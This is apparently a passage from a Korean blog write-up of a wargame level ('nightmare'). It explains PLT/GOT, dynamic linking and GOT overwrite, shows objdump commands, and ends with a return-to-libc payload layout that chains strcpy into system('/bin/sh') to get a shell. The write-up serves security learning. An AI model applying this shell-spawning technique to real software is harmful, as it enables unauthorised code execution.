&lt;p data-ke-size=&quot;size18&quot;&gt;RET&amp;nbsp;부분을&amp;nbsp;strcpy()&amp;nbsp;함수의&amp;nbsp;주소로&amp;nbsp;덮어쓰면&amp;nbsp;그&amp;nbsp;다음&amp;nbsp;인자는&amp;nbsp;[strcpy()&amp;nbsp;함수의&amp;nbsp;RET]&amp;nbsp;[dest]&amp;nbsp;[origin]&amp;nbsp;이여야&amp;nbsp;하는데,&lt;br /&gt;strcpy()&amp;nbsp;함수의&amp;nbsp;RET&amp;nbsp;부분이&amp;nbsp;'AAAA'로&amp;nbsp;초기화&amp;nbsp;된다.&lt;br /&gt;&lt;br /&gt;아마도&amp;nbsp;RET&amp;nbsp;부분을&amp;nbsp;조작하여&amp;nbsp;연속적으로&amp;nbsp;반환하는&amp;nbsp;기법을&amp;nbsp;막으려고&amp;nbsp;한&amp;nbsp;것&amp;nbsp;같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;문제 소스 코드에 있는 힌트를 참고하면 PLT 라는 게 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT &amp;amp; GOT&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[plt]&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;외부 library 함수를 사용할 수 있도록 연결해주는 table이다.&lt;br /&gt;plt를&amp;nbsp;통해&amp;nbsp;다른&amp;nbsp;라이브러리에&amp;nbsp;있는&amp;nbsp;함수를&amp;nbsp;호출해&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;[got]&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt가 참조하는 table이다.&lt;br /&gt;plt에서&amp;nbsp;구한&amp;nbsp;함수의&amp;nbsp;절대&amp;nbsp;주소가&amp;nbsp;저장되어&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;함수를&amp;nbsp;호출할&amp;nbsp;때&amp;nbsp;최초로&amp;nbsp;호출하는&amp;nbsp;것이라면&amp;nbsp;해당&amp;nbsp;함수의&amp;nbsp;주소를&amp;nbsp;알아오는&amp;nbsp;과정이&amp;nbsp;필요하고,&amp;nbsp;알아낸&amp;nbsp;주소를&amp;nbsp;기록해둘&amp;nbsp;곳이&amp;nbsp;필요한데,&amp;nbsp;여기서&amp;nbsp;함수의&amp;nbsp;주소를&amp;nbsp;알아내는데&amp;nbsp;필요한&amp;nbsp;코드의&amp;nbsp;일부분이&amp;nbsp;들어있는게&amp;nbsp;plt이고,&amp;nbsp;알아낸&amp;nbsp;주소를&amp;nbsp;기록해두는&amp;nbsp;곳이&amp;nbsp;GOT이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;PLT와 GOT 그리고 dynamic link&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt와 GOT를 이해하기 위해서는 링커를 알아야 하고, 링커가 링크를 하는 방법에는 static과 dynamic이 있는데, 이 중에서도 Dynamic과 연관이 깊다.&lt;br /&gt;&lt;br /&gt;링크는&amp;nbsp;라이브러리&amp;nbsp;같은&amp;nbsp;필요한&amp;nbsp;오브젝트&amp;nbsp;파일들을&amp;nbsp;연결시키는&amp;nbsp;작업을&amp;nbsp;말하는데&lt;br /&gt;&lt;br /&gt;static&amp;nbsp;방식은&amp;nbsp;실행&amp;nbsp;파일&amp;nbsp;안에&amp;nbsp;모든&amp;nbsp;코드가&amp;nbsp;포함되게&amp;nbsp;하는&amp;nbsp;방식으로,&amp;nbsp;라이브러리&amp;nbsp;연동&amp;nbsp;과정이&amp;nbsp;따로&amp;nbsp;필요하지&amp;nbsp;않고,&amp;nbsp;한&amp;nbsp;번&amp;nbsp;생성한&amp;nbsp;파일에&amp;nbsp;대해서&amp;nbsp;필요한&amp;nbsp;라이브러리를&amp;nbsp;따로&amp;nbsp;관리하지&amp;nbsp;않아도&amp;nbsp;된다는&amp;nbsp;점으로&amp;nbsp;인해&amp;nbsp;편하지만&amp;nbsp;파일의&amp;nbsp;크기가&amp;nbsp;커지고,&amp;nbsp;같은&amp;nbsp;내용을&amp;nbsp;매&amp;nbsp;번&amp;nbsp;메모리에&amp;nbsp;매핑&amp;nbsp;시켜야&amp;nbsp;한다는&amp;nbsp;단점이있다.&lt;br /&gt;&lt;br /&gt;반면에&amp;nbsp;dynamic&amp;nbsp;방식은&amp;nbsp;공유&amp;nbsp;라이브러리를&amp;nbsp;사용하는&amp;nbsp;방식으로,&amp;nbsp;라이브러리르&amp;nbsp;하나의&amp;nbsp;메모리&amp;nbsp;공간에&amp;nbsp;매핑해두고&amp;nbsp;여러&amp;nbsp;프로그램에서&amp;nbsp;공유하여&amp;nbsp;사용하는데,&amp;nbsp;실행&amp;nbsp;파일&amp;nbsp;안에&amp;nbsp;라이브러리&amp;nbsp;코드&amp;nbsp;전체가&amp;nbsp;들어가진&amp;nbsp;않으므로&amp;nbsp;비교젹&amp;nbsp;크기가&amp;nbsp;훨씬&amp;nbsp;작고,&amp;nbsp;실행시에도&amp;nbsp;상대적으로&amp;nbsp;적은&amp;nbsp;메모리를&amp;nbsp;차지하며,&amp;nbsp;관리가&amp;nbsp;쉽다는&amp;nbsp;장점이&amp;nbsp;있지만,&amp;nbsp;실행&amp;nbsp;파일이&amp;nbsp;라이브러리에&amp;nbsp;의존해야&amp;nbsp;한다는&amp;nbsp;점으로&amp;nbsp;인해&amp;nbsp;필요한&amp;nbsp;라이브러리가&amp;nbsp;없으면&amp;nbsp;실행할&amp;nbsp;수&amp;nbsp;없다는&amp;nbsp;단점이&amp;nbsp;있다.&lt;br /&gt;&lt;br /&gt;그리고&amp;nbsp;static&amp;nbsp;방식과&amp;nbsp;dynamic&amp;nbsp;방식&amp;nbsp;중&amp;nbsp;dynamic&amp;nbsp;방식을&amp;nbsp;사용하여&amp;nbsp;컴파일&amp;nbsp;했을&amp;nbsp;때&amp;nbsp;PLT와&amp;nbsp;GOT를&amp;nbsp;사용하게&amp;nbsp;된다.&lt;br /&gt;&lt;br /&gt;이유는 static 방식은 라이브러리 내용 전체가 실행 파일 안에 있기 때문에 함수의 주소를 알아내는 과정이 필요하지 않지만, dynamic 방식은 라이브러리의 내용이 실행 파일과 분리되어 있기 때문에 함수의 주소를 알아오는 과정이 필요하기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;전체적인 PLT와 GOT의 동작 원리&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSlXhN/btsFffJe5dQ/uxuKw5K5xAw15jE869MJVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSlXhN/btsFffJe5dQ/uxuKw5K5xAw15jE869MJVk/img.png&quot; data-alt=&quot;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSlXhN/btsFffJe5dQ/uxuKw5K5xAw15jE869MJVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSlXhN%2FbtsFffJe5dQ%2FuxuKw5K5xAw15jE869MJVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;355&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;br /&gt;바이너리가&amp;nbsp;실행되면&amp;nbsp;ASLR에&amp;nbsp;의해&amp;nbsp;라이브러리가&amp;nbsp;임의의&amp;nbsp;주소에&amp;nbsp;매핑이&amp;nbsp;되고,&amp;nbsp;이&amp;nbsp;상태에서&amp;nbsp;라이브러리&amp;nbsp;내의&amp;nbsp;함수를&amp;nbsp;호출하면&amp;nbsp;라이브러리의&amp;nbsp;symbol들&amp;nbsp;중에서&amp;nbsp;호출하는&amp;nbsp;함수의&amp;nbsp;이름과&amp;nbsp;똑같은&amp;nbsp;symbol을&amp;nbsp;찾고,&amp;nbsp;해당&amp;nbsp;함수의&amp;nbsp;정의를&amp;nbsp;발견하면&amp;nbsp;그&amp;nbsp;주소로&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;옮기게&amp;nbsp;된다.&lt;br /&gt;&lt;br /&gt;이&amp;nbsp;과정을&amp;nbsp;runtime&amp;nbsp;resolve&amp;nbsp;라고&amp;nbsp;하는데,&amp;nbsp;만약&amp;nbsp;최초로&amp;nbsp;함수를&amp;nbsp;호출하는&amp;nbsp;것이라면&amp;nbsp;위와&amp;nbsp;같이&amp;nbsp;runtime&amp;nbsp;resolve&amp;nbsp;과정을&amp;nbsp;거쳐&amp;nbsp;알아낸&amp;nbsp;주소를&amp;nbsp;GOT에&amp;nbsp;기록해둔다.&lt;br /&gt;&lt;br /&gt;그리고&amp;nbsp;같은&amp;nbsp;함수를&amp;nbsp;또&amp;nbsp;호출하게&amp;nbsp;될&amp;nbsp;때는&amp;nbsp;GOT에&amp;nbsp;기록해뒀기&amp;nbsp;때문에&amp;nbsp;runtime&amp;nbsp;resolve&amp;nbsp;과정없이&amp;nbsp;바로&amp;nbsp;해당&amp;nbsp;함수를&amp;nbsp;호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GNypm/btsFaboMZwq/Bv6PgvekEkk49WI2SeIkR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GNypm/btsFaboMZwq/Bv6PgvekEkk49WI2SeIkR0/img.png&quot; data-alt=&quot;https://bnzn2426.tistory.com/27&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GNypm/btsFaboMZwq/Bv6PgvekEkk49WI2SeIkR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGNypm%2FbtsFaboMZwq%2FBv6PgvekEkk49WI2SeIkR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;355&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://bnzn2426.tistory.com/27&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;br /&gt;다시&amp;nbsp;말해&amp;nbsp;최초로&amp;nbsp;함수를&amp;nbsp;호출할&amp;nbsp;때는&amp;nbsp;runtime&amp;nbsp;resolve&amp;nbsp;과정을&amp;nbsp;거쳐서&amp;nbsp;GOT에&amp;nbsp;기록하고,&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;호출부터는&amp;nbsp;runtime&amp;nbsp;resolve&amp;nbsp;과정을&amp;nbsp;거치지&amp;nbsp;않고&amp;nbsp;GOT에&amp;nbsp;기록해둔&amp;nbsp;주소로&amp;nbsp;바로&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;옮긴다.&lt;br /&gt;&lt;br /&gt;결론적으로&amp;nbsp;최초로&amp;nbsp;함수&amp;nbsp;호출을&amp;nbsp;하면&amp;nbsp;PLT로&amp;nbsp;이동하고,&amp;nbsp;PLT에서는&amp;nbsp;GOT를&amp;nbsp;참조하는데,&amp;nbsp;이때&amp;nbsp;GOT에&amp;nbsp;해당&amp;nbsp;함수의&amp;nbsp;주소가&amp;nbsp;없다면,&amp;nbsp;PLT로&amp;nbsp;다시&amp;nbsp;돌아가서&amp;nbsp;_dl_runtime_resolve를&amp;nbsp;수행한&amp;nbsp;후&amp;nbsp;GOT에&amp;nbsp;실제&amp;nbsp;주소를&amp;nbsp;저장하고&amp;nbsp;해당&amp;nbsp;함수&amp;nbsp;주소로&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;옮긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(PLT로 다시 돌아가는 이유는 아마 호출하려는 함수를 찾기 위한 기본적인 정보가 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;PLT에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;포함되어 있기 때문이다.)&lt;br /&gt;&lt;br /&gt;그리고&amp;nbsp;두&amp;nbsp;번째&amp;nbsp;호출부터는&amp;nbsp;PLT로&amp;nbsp;이동하고,&amp;nbsp;PLT에서는&amp;nbsp;GOT를&amp;nbsp;참조하는데,&amp;nbsp;이때&amp;nbsp;GOT에는&amp;nbsp;해당&amp;nbsp;함수의&amp;nbsp;주소가&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;바로&amp;nbsp;해당&amp;nbsp;함수&amp;nbsp;주소로&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;옮긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(이해가 되지 않는다면, &amp;nbsp;이 글 맨 아래에 줄여서 설명해둔 &lt;b&gt;plt&amp;amp;got 핵심 설명&lt;/b&gt; 부분을 참고한다.)&lt;/p&gt;
&lt;pre id=&quot;code_1708597128044&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt &amp;amp; got 개념 및 관계
https://0secusik0.tistory.com/67

왜 plt와 got가 필요한가
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;level17 문제의 소스코드 일부분과 level18 문제의 소스코드 일부분 비교&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1708608544504&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// check address
addr = (char *)&amp;amp;DO;
if(memcmp(argv[1]+44, &amp;amp;addr, 4) != 0)
{
	printf(&quot;You must fall in love with DO\n&quot;);
	exit(0);
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708608550559&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// check address
addr = (char *)&amp;amp;strcpy;
if(memcmp(argv[1]+44, &amp;amp;addr, 4) != 0)
{
	printf(&quot;You must fall in love with strcpy()\n&quot;);
	exit(0);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 코드들을 보면 비교하는 함수만 다를 뿐 완전 동일한 코드임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 차이점이라고 한다면, 첫 번째 코드에서 DO() 함수는 plt와 got를 이용하지 않고, 두 번째 코드에서 strcpy() 함수는 plt와 got를 이용한다는 것인데, 그 이유는 DO() 함수는 코드에 포함이 되어 있고, strcpy() 함수는 라이브러리에 있기 때문이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT &amp;amp; GOT 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;109&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9c2oq/btsFfwqJGwm/dbIHLiL19m94XhPn6KxZwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9c2oq/btsFfwqJGwm/dbIHLiL19m94XhPn6KxZwk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9c2oq/btsFfwqJGwm/dbIHLiL19m94XhPn6KxZwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9c2oq%2FbtsFfwqJGwm%2FdbIHLiL19m94XhPn6KxZwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;109&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;109&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708608413134&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;objdump -h ./nightmare | grep -A1 &quot;\ .plt\ &quot;

objdump -h ./nightmare | grep -A1 &quot;\ .got\ &quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;바이너리 파일에서 plt와 got 영역을 보면 plt는 READONLY인 반면에, got는 READONLY가 아닌 것을 확인할 수 있는데, 이러한 점 때문에 GOT overwrite 기법이라는 게 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;682&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQxF8X/btsFeQbT3y2/vB6KtYju3TV3QS0VqA0oD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQxF8X/btsFeQbT3y2/vB6KtYju3TV3QS0VqA0oD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQxF8X/btsFeQbT3y2/vB6KtYju3TV3QS0VqA0oD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQxF8X%2FbtsFeQbT3y2%2FvB6KtYju3TV3QS0VqA0oD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;611&quot; height=&quot;682&quot; data-origin-width=&quot;611&quot; data-origin-height=&quot;682&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708608429836&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;objdump -d -j .plt ./nightmare&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;objdump를 이용해 plt 영역에 있는 값들을 보면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QBAKe/btsFb94Ti3s/YVKhTZLdx35FMvlM6cqIKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QBAKe/btsFb94Ti3s/YVKhTZLdx35FMvlM6cqIKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QBAKe/btsFb94Ti3s/YVKhTZLdx35FMvlM6cqIKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQBAKe%2FbtsFb94Ti3s%2FYVKhTZLdx35FMvlM6cqIKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;290&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708608444391&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;objdump -R ./nightmare&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 objdump를 이용해 got 영역을 위와 같은데 이전에 plt에 있는 값들일아 비교해서 보면 plt에서 점프하는 주소들이 got에 다 저장이 되어있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;GOT overwrite&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;got overwrite는 말 그대로 GOT에 있는 주소를 overwrite 하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;예를 들어 GOT에 저장되어 있는 printf() 함수의 주소를 system() 함수의 주소로 변조하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;변조된 후 printf() 함수를 호출했을 때 system() 함수가 호출되는 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biZ6v5/btsFaOtgBSU/zUWgbfiKkIsPYdwZ67SwR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biZ6v5/btsFaOtgBSU/zUWgbfiKkIsPYdwZ67SwR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biZ6v5/btsFaOtgBSU/zUWgbfiKkIsPYdwZ67SwR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiZ6v5%2FbtsFaOtgBSU%2FzUWgbfiKkIsPYdwZ67SwR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;126&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 GOT overwrite 기법이 언급됐는데, GOT overwrite 기법은 변조된 이후 변조당하기 전의 함수가 한 번 더 호출되어야 하므로 payload를 구성함에 있어서 살짝 귀찮음이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 GOT overwrite 기법처럼 뭔가를 덮어쓴다는 방식으로 문제를 풀면 되는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main 함수가 끝나면 buffer[40]+48 주소인 strcpy() 함수의 RET 부분은 &quot;AAAA&quot;로 채워진 상태로 strcpy() 함수로 반환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 strcpy() 함수는 특정 주소에 있는값을 특정 주소에 복사하는 함수이므로 이를 이용해 GOT에 있는 함수를 변조하여 해당 함수를 재호출해 쉘을 딸 필요없이 strcpy() 함수의 RET 부분에 공유 라이브러리 내의 system() 함수의 주소를 입력하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708609545491&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;string.h&amp;gt;
char *strcpy(char *string1, const char *string2);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서 주의할 점은 strcpy() 함수에 넘길 인자는 문자열이 들어있는 주소이므로 system() 함수의 주소를 바로 인자로 주면 안되고, 스택에 담은 후 해당 스택의 주소를 인자로 줘야 한다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708609029425&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[strcpy() 함수의 plt 주소] + [&quot;AAAA&quot;] + [strcpy() 함수의 인자1] + [strcpy() 함수의 인자2] + [system() 함수의 주소] + [system() 함수의 RET 부분] + [&quot;/bin/sh&quot; 문자열의 주소]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload 구성은 위와 같을 것인데, strcpy() 함수의 인자 1과&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;strcpy() 함수의 인자 2는 core 파일을 생성하여 알아내야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;참고)&lt;/span&gt;&lt;/p&gt;
